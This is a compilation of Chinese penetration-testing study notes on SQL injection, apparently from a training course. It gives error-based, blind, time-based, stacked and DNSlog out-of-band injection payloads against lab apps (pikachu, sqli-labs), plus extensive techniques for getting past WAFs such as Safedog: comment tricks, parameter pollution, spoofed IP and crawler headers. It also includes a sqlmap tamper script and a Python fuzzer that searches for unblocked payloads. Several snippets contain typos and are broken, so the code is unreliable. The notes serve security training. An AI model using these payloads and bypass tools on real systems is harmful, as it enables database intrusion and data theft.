当进行SQL注入时,有很多注入会出现无回显的情况,其中不回显的原因可能是SQL语句查询方式的问题导致,这个时候我们需要用到相关的报错或盲注进行后续操作,同时作为手工注入时,提前了解或预知其SQL语句大概写法也能更好的选择对应的注入语句。
select查询数据
在网站应用中进行数据显示查询操作
例: select * from news where id=$id
insert插入数据
在网站应用中进行用户注册添加等操作
例: insert into news (id, url, text) values (2, 'x','$t')
delete删除数据
后台管理里面删除文章删除用户等操作
例: delete from news where id=$id
update更新数据
会员或后台中心数据同步或缓存等操作
例: update user set pwd='$p' where id=2 and username= 'admin'
order by排序数据
一般结合表名或列名进行数据排序操作
例: select * from news order by $id
例: select id, name, price from news order by $order
重点理解:
我们可以通过以上查询方式与网站应用的关系,注入点产生地方或应用猜测到对方的SQL查询方式
盲注就是在注入过程中,获取的数据不能回显至前端页面。此时,我们需要利用一些方法进行半段或者尝试,这个过程称之为盲注。我们可以知道盲注分为以下三类:
基于布尔的SQL盲注-逻辑判断(优先级:2)
regexp,like,ascii,left,ord,mid
基于时间的SQL盲注-延时判断(优先级:3)
if,sleep
基于报错的SQL盲注-报错回显(优先级:1)
floor,updatexml,extractvalue
https://www.jianshu.com/p/bc35f8dd4f7c
floor
payload:
pikachu insert
username=x' or(select 1 from(select count(*),concat((select(select (select concat(0x7e,database(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) or '
&password=xiaodi&sex=%E7%94%B7&phonenum=13878787788&email=wuhan&add=hubei &submit=submit
username=x ' or updatexml(1,concat(0x7e,(version())),0) or ' & password=xiaodi & sex=%E7%94%B7 & honenum=13878787788 & email=wuhan & add=hubei & submit=submit
username=x ' or extractvalue(1,concat(0x7e,database())),0) or ' & password=xiaodi&sex=%E7%94%B7&phonenum=13878787788&
email=wuhan&add=hubei&submit=submit
pikachu updata
sex=%E7%94%B7&phonenum=13878787788&and=hubeNicky' or (select 1
from(select count(*),concat(floor(rand(0)*2),0x7e, (database()),0x7e)x from
information_schema.character_sets group by x)a) or '&email=wuhan&submit=submit
sex=%E7%94%B7&phonenum=13878787788&and=hubeNicky
' or updataexml(1,concat(0x7e,(version())),0) or '&email=wuhan&submit=submit
sex=%E7%94%B7&phonenum=13878787788&and=hubeNicky
' or extractbalue(1,concat(0x7e,database())) or '&email=wuhan&submit=submit
pikachu delete
/pikachu/vul/sqli/sqli_del.php?id=56
+or+(select+1+from(select+count(*),concat(floor(rand(0)*2),0x7e, (database()),0x7e)x+from+information_schema.character_sets+group+by+x)a)
/pikachu/vul/sqli/sqli_del.php?id=56+or+updatexml+(1,concat(0x7e,database()),0)
/pikachu/vul/sqli/sqli_del.php?id=56+or+extractvalue+(1,concat(0x7e,database()))
and if(ascii(substr(database(),1,1))=115,sleep(5),1)--+
and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,sleep(3),0)--+
页面只返回True和False两种类型页面。利用页面返回不同,逐个猜解数据
当前数据库database()的长度大于10,返回true页面,否则FALSE页面:
http://127.0.0.1/Less-8/?id=1'and (length(database()))>10 --+
count(*)计数 concat()连接字符 floor()重复数据,返回0,1两个值 group by 进行分组 rand(0)避免数据重复造成的错误
猜当前数据库第一个字符
http://127.0.0.1/sqli-labs-master/Less-8/index.php?id=1'and ascii(substr(database(),1,1))>114#
利用二分法,115为fal,114TRUE,数据库第一个字符ASCII为115,即s
同理修改substr(database(),2,1)可猜第二个字符,之后同理,当然在猜数据库字符前也可先猜数据库长度:length(database())
http://127.0.0.1/sqli-labs-master/Less-8/index.php?id=1' and ascii(substr(database(),1,1))>114# 这条语句在后台为:
SELECT * FROM users WHERE id='1' and ascii(substr(database(),1,1))>114#'(后面单引号被#注释掉)
参考:
like 'ro%' #判断ro或ro.. .是否成立
regexp '^xiaodi[a-z]' #匹配xiaodi及xiaodi...等
if(条件,5,0) #条件成立返回5反之返回0
sleep(5) #sQI语句延时执行5秒
mid(a,b,c) #从位置b开始,截取a字符串的c位
substr(a,b,c) #从b位置开始,截取字符串a的c长度
left(database(),1),database() #left(a,b)从左侧截取a的前b位
length(database())=8 #判断数据库database ()名的长度
ord=ascii ascii(x)=97 #判断x的asci i码是否等于97
https://www.yuque.com/samxara/swro13/xgiz8b#WxeRY
mysql_fetch_array:无回显函数
SQL注入
延时盲注:利用 and 链接正确语句,让if判断脚本对错,两个联合起来再通过时间来给出反馈,判断脚本是否执行正确。
and if(ascii(substr(database(),1,1))=115,sleep(5),1)--+
and if(ascii(substr((select table_name from information_schema.tables where table_schema=database()
limit 0,1),1,1))=101,sleep(3),0)--+
数据库是security就延时5秒,否则不延迟
http://sqli-labs:8600/Less-2/?id=1 and sleep(if(database()= ‘security’,5,0))–+
判断数据库位数
http://sqli-labs:8600/Less-2/?id=1%20and%20sleep(if(length(database())=8,5,0))–+
涉及资源
12种报错注入+万能语句:https://www.jianshu.com/p/bc35f8dd4f7c
Order by排序注入方法小总结:https://www.jianshu.com/p/fcae21926e5c
asp+access注入源码:https://pan.baidu.com/s/1IX6emxDpvYrVZbQzJbHn3g 提取码:l9f6
知识点
即get或者post的参数采用了base64等加密方式将数据进行加密,在通过参数传递给服务器,eg:www.xxx.com/index.php?id=MQ==
加密部分:MQ==
解密结果:1 相当于id=1
base64加密结果:MSBhbmQgMT0x
语句为:www.xxx.com/index.php?id=MSBhbmQgMT0x
DNSlog:解决了盲注不能回显数据,效率低的问题
二次注入是存储型注入,可以理解为构造恶意数据存储在数据库后,恶意数据被读取并进入到了SQL查询语句所导致的注入。恶意数据插入到数据库时被处理的数据又被还原并存储在数据库中,当Web程序调用存储在数据库中的恶意数据并执行SQL查询时,就发生了SQL二次注入。详细点来讲,就是在第一次进行数据库插入数据的时候,仅仅只是使用了 addslashes 或者是借助 get_magic_quotes_gpc 对其中的特殊字符进行了转义,在写入数据库的时候还是保留了原来的数据,但是数据本身还是脏数据。在将数据存入到了数据库中之后,开发者就认为数据是可信的。在下一次进行需要进行查询的时候,直接从数据库中取出了脏数据,没有进行进一步的检验和处理,这样就会造成SQL的二次注入。比如在第一次插入数据的时候,数据中带有单引号,直接插入到了数据库中;然后在下一次使用中在拼凑的过程中,就形成了二次注入。二次注入无法通过扫描工具或者代码自己手工测试出来的,二次注入一般会产生在网站程序源代码才会发现的注入漏洞,从前端或者黑盒测试是看不到这个漏洞的。
2. 过程
第一步:插入恶意数据
第一次进行数据库插入数据的时候,仅仅对其中的特殊字符进行了转义,在写入数据库的时候还是保留了原来的数据,但是数据本身包含恶意内容。
第二步:引用恶意数据
在将数据存入到了数据库中之后,开发者就认为数据是可信的。在下一次需要进行查询的时候,直接从数据库中取出了恶意数据,没有进行进一步的检验和处理,这样就会造成SQL的二次注入。
a. 黑客通过构造数据的形式,在浏览器或者其他软件中提交HTTP数据报文请求到服务端进行处理,提交的数据报文请求中可能包含了黑客构造的SQL语句或者命令。
b. 服务端应用程序会将黑客提交的数据信息进行存储,通常是保存在数据库中,保存的数据信息的主要作用是为应用程序执行其他功能提供原始输入数据并对客户端请求做出响应。
c. 黑客向服务端发送第二个与第一次不相同的请求数据信息。
d. 服务端接收到黑客提交的第二个请求信息后,为了处理该请求,服务端会查询数据库中已经存储的数据信息并处理,从而导致黑客在第一次请求中构造的SQL语句或者命令在服务端环境中执行。
e. 服务端返回执行的处理结果数据信息,黑客可以通过返回的结果数据信息判断二次注入漏洞利用是否成功。
首先需要有一个可以配置的域名,比如:ceye.io,然后通过代理商设置域名 ceye.io 的 nameserver 为自己的服务器 A,然后再服务器 A 上配置好 DNS Server,这样以来所有 ceye.io 及其子域名的查询都会到 服务器 A 上,这时就能够实时地监控域名查询请求了。DNS在解析的时候会留下日志,咱们这个就是读取多级域名的解析日志,来获取信息。简单来说就是把信息放在高级域名中,传递到自己这,然后读取日志,获取信息
在sql注入时为布尔盲注、时间盲注,注入的效率低且线程高容易被waf拦截,又或者是目标站点没有回显,我们在读取文件、执行命令注入等操作时无法明显的确认是否利用成功,这时候就要用到我们的DNSlog注入。
a. http://www.dnslog.cn
b. http://ceye.io/(需要注册)
c. http://admin.dnslog.link
将url和注入语句分开
<?php
$url='http://xxx/job_bystjb/yjs_byszjs.asp?id=';
$payload=base64_encode($_GET['x']);
echo $payload;
$urls=$ur1.Spayload;
file_get_contents($urls);
echo $urls;
?>
https://www.yuque.com/samxara/swro13/gi5fpi#a9GoC
涉及资源
DNSlog:http:/ceye.io/
DnsLog Sql Injection Tool with ceye.io:https://github.com/ADOOO/DnslogSqlinj
Sqlmap注入Base64编码的注入:https://www.bbsmax.com/A/A2dmVVQBze/
使用DNSLOG拯救你的盲打盲注:https://www.freebuf.com/column/184587.html
利用DNS实现SQL注入带外查询(OOB) :https://www.cnblogs.com/renhaoblog/p/12912452.html
DNSlog注入:https://www.pianshen.com/article/9561325277/
https://github.com/bugscanteam/dnslog/(自己搭建dnslog服务器)
在实际的渗透测试过程中,经常会碰到网站存在WAF的情况。网站存在WAF,意味着我们不能使用安全工具对网站进行测试,因为一旦触碰了WAF的规则,轻则丢弃报文,重则拉黑IP。所以,我们需要手动进行WAF的绕过,而绕过WAF前肯定需要对WAF的工作原理有一定的理解。
定义
Stacked injections(堆叠注入)从名词的含义就可以看到应该是一堆sql语句(多条)一起执行。而在真实
的运用中也是这样的,我们知道在mysql中,主要是命令行中,每一条语句结尾加;表示语句结束。这样我们就想到了是不是可以多句一起使用。这个叫做stackedinjection。
原理
在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。
局限性
堆叠注入的局限性在于并不是每一个环境下都可以执行,可能受到API或者数据库引擎不支持的限制,当然了权限不足也可以解释为什么攻击者无法修改数据或者调用一些程序。
各个数据库实例介绍(摘自文章链接)
本节我们从常用数据库角度出发,介绍几个类型的数据库的相关用法。数据库的基本操作,增删查改。以下列出数据库相关堆叠注入的基本操作。
(1)新建一表
select * from users where id=1;create table test like users;
(2)删除上面新建的test表
select * from users where id=1;drop table test;
(3)查询数据
select * from users where id=1;select 1,2,3;
(4)加载文件
select * from users where id=1;select load_file(‘c:/tmpupbbn.php’);
(4) 修改数据
select * from users where id=1;insert into users(id,username,password) values (‘100’,‘new’,‘new’);
(1)增加数据表
select * from test;create table sc3(ss CHAR(8));
(2) 删除数据表
select * from test;drop table sc3;
(4)查询数据
select 1,2,3;select * from test;
(5)修改数据
select * from test;update test set name=‘test’ where id=3;
(6)sqlserver中最为重要的存储过程的执行
select * from test where id=1;exec master…xp_cmdshell ‘ipconfig’
上面的介绍中我们已经提及,oracle不能使用堆叠注入,可以从图中看到,当有两条语句在同一行时,直接报错。无效字符。后面的就不往下继续尝试了。
(1)新建一个表
select * from user_test;create table user_data(id DATE);
可以看到user_data表已经建好。
(2)删除上面新建的user_data表
select * from user_test;delete from user_data;
(3)查询数据
select * from user_test;select 1,2,3;
(4) 修改数据
select * from user_test;update user_test set name=‘modify’ where name=‘张三’;
参考链接:https://www.freesion.com/article/15621202542/
工具简介
现在网站为了加强自身安全,通常都会安装各类防火墙。这些防火墙往往会拦截各种扫描 请求,使得测试人员无法正确判断网站相关信息。Kali Linux 提供了一款网站防火墙探测工具 Wafw00f。它可以通过发送正常和带恶意代码的 HTTP 请求,以探测网站是否存在防火墙,并识别防火墙的类型。
WAFW00F 怎么工作
a. 发送正常的 HTTP 请求,然后分析响应,这可以识别出很多 WAF。
b. 如果不成功,它会发送一些(可能是恶意的)HTTP 请求,使用简单的逻辑推断是哪一 个 WAF。
c. 如果这也不成功,它会分析之前返回的响应,使用其它简单的算法猜测是否有某个 WAF 或者安全解决方案响应了我们的攻击
参数
它可以检测很多 WAF。想要查看它能检测哪些 WAF,以-l 参数执行 WAFW00F
命令:
id=1union/*%00*/%23a%0A/*!/*!select1,2,3*/;%23
id=-1union/*%00*/%23a%0A/*!/*!select%201,database%23x%0A(),3*/;%23
id=-1%20union%20/*!44509select*/%201,2,3%23
id=-1%20union%20/*!44509select*/%201,%23x%0A/*!database*/(),3%23
id=1/**&id=-1%20union%20select%201,2,3%23*/
id=-1%20union%20all%23%0a%20select%201,2,3%23
id=-1%20union%20all%23%0a%20select%201,%230%0Adatabase/**/(),3%23
Web应用防护系统(Web Application Firewall, 简称:WAF)代表了一类新兴的信息安全技术,用以解决诸如防火墙一类传统设备束手无策的Web应用安全问题。
首先,WAF分为非嵌入型WAF和嵌入型WAF,非嵌入型WAF指的是硬件型WAF、云WAF、软件型WAF之类的;而嵌入型WAF指的是网站内置的WAF。非嵌入型WAF对Web流量的解析完全是靠自身的,而嵌入型WAF拿到的Web数据是已经被解析加工好的。所以非嵌入型的受攻击机面还涉及到其他层面,而嵌入型WAF从Web容器模块型WAF、代码层WAF往下走,其对抗畸形报文、扫操作绕过的能力越来越强。当然,在部署维护成本方面,也是越高的。
如图,就是自带的阿里云盾
宝塔一键化搭建(大部分非法网站都是使用的宝塔)
安全狗(用的比较多,是因为是免费的)
不开启全部是因为有些页面会出现误报
资源防护
流量防护
网站防护
大小写/关键字替换
id=1UnIoN/**/SeLeCT1,user()
Hex() bin() 等价于 ascii()
Sleep() 等价于 benchmark()
Mid() substring() 等价于substr()
@@user 等价于 User()
@@Version 等价于 version()
各种编码
大小写,URL,hex,%0A等
注释使用
//----+#//+:%00/!/等
再次循环
union==uunionnion
等价替换
user()=@@user()and=&or=|ascii=hex等
参数污染
?id=1&id=2&id=3
编码解码及加密解密
s->%73->%25%37%33
hex,unlcode,base64等
更改请求提交方式
GET POST COOKIE等
POST->multipart/form-data
中间件HPP(HTTP参数污染)
HPP是HTTP Parameter Pollution的缩写,意为HTTP参数污染。
**原理:**浏览器在跟服务器进行交互的过程中,浏览器往往会在GET/POST请求里面带上参数,这些参数会以 名称-值 对的形势出现,通常在一个请求中,同样名称的参数只会出现一次。但是在HTTP协议中是允许同样名称的参数出现多次的。比如下面这个链接:http://www.baidu.com?name=aa&name=bb ,针对同样名称的参数出现多次的情况,不同的服务器的处理方式会不一样。有的服务器是取第一个参数,也就是name=aa。有的服务器是取第二个参数,也就是name=bb。有的服务器两个参数都取,也就是name=aa,bb 。这种特性在绕过一些服务器端的逻辑判断时,非常有用。
HPP漏洞,与Web服务器环境、服务端使用的脚本有关。如下是不同Web服务器对于出现多个参数时的选择:
通过HPP接管账户
当网站开发者不熟悉Web服务器对于多参数时如何选择,将给攻击者可乘之机。HPP能针对客户端和服务端进行攻击。
HPP参数污染还可以用于绕过某些防火墙对于 SQL注入的检测,例如当Web服务器对多参数都同时选择时,我们可以用以下这种方式绕过某些防火墙:
http://www.baidu.com/index.asp?page=select 1,2,3 from table where id=1
http://www.baidu.com/index.asp?page=select 1&page=2,3 from table where id=1
HTTP参数污染是指当同一参数出现多次,不同的中间件会解析为不同的结果
以参数color=red&color=blue为例
1、Mysql技巧
(1)mysql注释符有三种:#、/…/、–…(注意–后面有一个空格,或者为–+)
(2)空格符:[0x09,0x0a-0x0d,0x20,0xa0]
(3)特殊符号:%a换行符
可结合注释符使用%23%0a,%2d%2d%0a。
(3)内联注释:
/!UnIon12345SelEcT/1,user()//数字范围1000-50540
(4)mysql黑魔法
select{xusername}from{x11test.admin};
2、SQLServer技巧
(1)用来注释掉注射后查询的其余部分:
/*C语言风格注释
SQL注释
;00%空字节
(2)空白符:[0x01-0x20]
(3)特殊符号:%3a冒号
id=1union:select1,2from:admin
(4)函数变形:如db_name 空白字符
3、Oracle技巧
(1)注释符:–、/**/
(2)空白字符:[0x00,0x09,0x0a-0x0d,0x20]
4.配合FUZZ
(SQLI FUZZ字典,SQL注入过滤关键字的Fuzz字典)
就是模糊测试,批量测试
select * from admin where id=1【位置一】union【位置二】select【位置三】1,2,db_name()【位置四】from【位置五】admin
1、逻辑问题
(1)云waf防护,一般我们会尝试通过查找站点的真实IP,从而绕过CDN防护。
(2)当提交GET、POST同时请求时,进入POST逻辑,而忽略了GET请求的有害参数输入,可尝试Bypass。
(3)HTTP和HTTPS同时开放服务,没有做HTTP到HTTPS的强制跳转,导致HTTPS有WAF防护,HTTP
没有防护,直接访问HTTP站点绕过防护。
(4)特殊符号%00,部分waf遇到%00截断,只能获取到前面的参数,无法获取到后面的有害参数
输入,从而导致Bypass。比如:id=1 %00 and 1=2 union select 1,2,column_name from information_schema.columns
2、性能问题
猜想1:在设计WAF系统时,考虑自身性能问题,当数据量达到一定层级,不检测这部分数据。只
要不断的填充数据,当数据达到一定数目之后,恶意代码就不会被检测了。
猜想2:不少WAF是C语言写的,而C语言自身没有缓冲区保护机制,因此如果WAF在处理测试向
量时超出了其缓冲区长度就会引发bug,从而实现绕过。
例子1:
?id=1and(select1)=(Select0xA1000)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),8,9
PS:0xA1000指0xA后面”A"重复1000次,一般来说对应用软件构成缓冲区溢出都需要较大的测试长度,这里1000只做参考也许在有些情况下可能不需要这么长也能溢出。
例子2:
?a0=0&a1=1&…&a100=100&id=1
union
select
1,schema_name,3
from
INFORMATION_SCHEMA.schemata
备注:获取请求参数,只获取前100个参数,第101个参数并没有获取到,导致SQL注入绕过。
3、白名单
方式一:IP白名单
从网络层获取的ip,这种一般伪造不来,如果是获取客户端的IP,这样就可能存在伪造IP绕过的情
况。
测试方法:修改http的header来bypasswaf
X-forwarded-for
X-remote-IP
X-originating-IP
x-remote-addr
X-Real-ip
方式二:静态资源
特定的静态资源后缀请求,常见的静态文件(.js.jpg.swf.css等等),类似白名单机制,waf为了检测
效率,不去检测这样一些静态文件名后缀的请求。
http://10.9.9.201/sql.php?id=1
http://10.9.9.201/sql.php/1.js?id=1
备注:Aspx/php只识别到前面的.aspx/.php后面基本不识别
方式三:url白名单
为了防止误拦,部分waf内置默认的白名单列表,如admin/manager/system等管理后台。只要url
中存在白名单的字符串,就作为白名单不进行检测。常见的url构造姿势
https://www.yuque.com/samxara/swro13/naa086#J8bXP
Sqlilabs-Less38-堆叠注入(多语句)
WAF部署-安全狗,宝塔等waf搭建部署
简要讲解安全狗,宝塔等防护waf策略规则
简要演示安全狗bypass sqlinject防护规则
实测简易CMS头部注入漏洞Bypass原理分析
安全狗匹配的时候匹配的是
1/-1 union select 1,2,3#*/或1/&id=-1%20union%20select%201,2,3%23*/其中符号中起到注释作用,正常情况下没有执行,安全狗直接不管,但是参数污染导致接受的真实数据是-1 union select 1,2,3#*/能正常执行sql
可以换提交方式来绕过
用来绕过安全狗waf
%23==》url编码==》#
%0a==》url编码==》换行
%20==》url编码==》空格
用来分割语句的符号
/*!*/
原理
安全狗检测渗透脚本是采用整体验证,例如:unint select 这个整体
可以使用以上方法,使用unint/*!*/select可不触发waf
(补充)
数据库特性
%23x%0aunion%23x%0Aselect%201,2,3
%20/!44509union/%23x%0aselect%201,2,3
id=1/**&id=-1%20union%20select%201,2,3%23*/
%20union%20all%23%0a%20select%201,2,3%23
分析下句
%20union%20/*!44509select*/%201,2,3
绕过了waf
涉及资源:
堆叠注入详解 :https://www.cnblogs.com/backlion/p/9721687.html
关于【安全狗】在【phpstudy】中【无法找到apache服务名】的问题:https://blog.csdn.net/nzjdsds/article/details/93740686
在攻防实战中,往往需要掌握一些特性,比如服务器、数据库、应用层、WAF层等,以便我们更灵活地去构造Payload,从而可以和各种WAF进行对抗,甚至绕过安全防御措施进行漏洞利用。
方式一:IP白奖单
从网络层获取的ip,这种一般伪造不来,如果是获取客户端的IP,这样就可能存在伪造IP绕过的情况。
测试方法:修改http的header来bypass waf
x-forwarded-for
x-remote-IP
x-originating-IP
x-remote-addr
x-Real-ip
方式二:静态资源
特定的静态资源后缀请求,常见的静态文件(.js .jpg .swf .css等等),类似白名单机制,waf为了检测效率,不去检测这样一些静态文件名后缀的请求。
http://10.9.9.201/ sql.php?id=1
http://10.9.9.201/sql.php/1.js?id=1
备注: Aspx/php只识别到前面的.aspx/.php后面基本不识别
方式三:url白名单
为了防止误拦,部分waf内置默认的白名单列表,如admin/manager/system等管理后台。只要url中存在白名单的字符串,就作为白名单不进行检测。常见的url构造姿势:
http://10.9.9.201/sql.php/admin.php?id=1
http://10.9.9.201/sql.php?a=/manage/&b=../etc/passwd
http://10.9.9.201/../../../ manage/../sql.asp?id=2
waf通过/manage/"进行比较,只要uri中存在/manage/就作为白名单不进行检测,这样我们可以通过/sql.php?a=/manage/&b=../etc/passwd 绕过防御规则。
方式四:爬虫白名单
部分waf有提供爬虫白名单(各大浏览器的爬虫)的功能,识别爬虫的技术一般有两种:
1、根据useragent
2、通过行为来判断
UserAgent可以很容易欺骗,我们可以伪装成爬虫尝试绕过。User Agent switcher (Firefox附加组件),下载地址:
https : //addons.mozilla.org/en-us/firefox/addon/user-agent-switcher/
payload
%23==》url编码==》#
%0a==》url编码==》换行
%20==》url编码==》空格
%23x%0aunion%23x%0Aselect%201,2,3
%20union%20/*!44509select*/%201,2,3 /*!44509select*/:通过插入版本号(4.45.09),绕过检测机制
%20/*!44509union*/%23x%0aselect%201,2,3
id=1/**&id=-1%20union%20select%201,2,3%23*/ 特殊符号
%20union%20all%23%0a%20select%201,2,3%23
有时注入语句没有问题,但是就是注入进不去,可能WAF检测了注入工具
解决方法:
指定采用百度的头
SQLMap说明
扩展一:有的WAF检测的是其他字段,可以使用burp抓包进行替换这个字段,来进行绕过。(只是修改一个)
扩展二:将注入语句生成txt文件,放在sqlmap目录下跑。(可以支持跑多个)
https://www.yuque.com/samxara/swro13/hs1a6b#aPdvS
FUZZ绕过脚本
#!/usr/bin/envpython
"""
Copyright(c)2006-2019sqlmapdevelopers(http://sqlmap.org/)
Seethefile'LICENSE'forcopyingpermission
"""
import os
from lib.core.common import singleTimeWarnMessage
from lib.core.enums import DBMS
from lib.core.enums import PRIORITY
__priority__=PRIORITY.HIGHEST
def dependencies():
singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s"%(os.path.basename(__file__).split(".")[0],DBMS.MYSQL))
def tamper(payload,**kwargs):
#%23a%0aunion/*!44575select*/1,2,3
if payload:
payload=payload.replace("union","%23a%0aunion")
payload=payload.replace("select","/*!44575select*/")
payload=payload.replace("%20","%23a%0a")
payload=payload.replace("","%23a%0a")
payload=payload.replace("database()","database%23a%0a()")
return payload
import requests,time
url='http://127.0.0.1:8080/sqlilabs/Less-2/?id=-1'
union='union'
select='select'
num='1,2,3'
a={'%0a','%23'}
aa={'x'}
aaa={'%0a','%23'}
b='/*!'
c='*/'
def bypass():
for xiaodi in a:
for xiaodis in aa:
for xiaodiss in aaa:
for two in range(44500,44600):
urls=url+xiaodi+xiaodis+xiaodiss+b+str(two)+union+c+xiaodi+xiaodis+xiaodiss+select+xiaodi+xiaodis+xiao
diss+num
#urlss=url+xiaodi+xiaodis+xiaodiss+union+xiaodi+xiaodis+xiaodiss+b+str(two)+select+c+xiaodi+xiaodis+xia
odiss+num
try:
result=requests.get(urls).text
len_r=len(result)
if (result.find('safedog')==-1):
#print('bypass url addreess:'+urls+'|'+str(len_r))
print('bypass url addreess:'+urls+'|'+str(len_r))
if len_r==715:
fp = open('url.txt','a+')
fp.write(urls+'\n')
fp.close()
except Exception as err:
print('connecting error')
time.sleep(0.1)
if__name__=='__main__':
print('fuzz strat!')
bypass()
伪造成百度爬虫脚本
import json
import requests
url='http://192.168.0.103:8080/'
head={
'User-Agent':'Mozilla/5.0(compatible;Baiduspider-render/2.0; +http://www.baidu.com/search/spider.html)'
}
for data in open('PH1P.txt'):
data=data.replace('\n','')
urls=url+data
code=requests.get(urls.headers=head).status_code
print(urls+'|'+str(code))
sqlmap temper脚本使用教程
https://blog.csdn.net/qq_34444097/article/details/82717357
小迪安全:https://www.bilibili.com/video/BV1JZ4y1c7ro?p=6
0x00实验室:https://www.yuque.com/weiker/xiaodi/kdf52h
小迪安全笔记:https://www.yuque.com/samxara/swro13/wk5w9t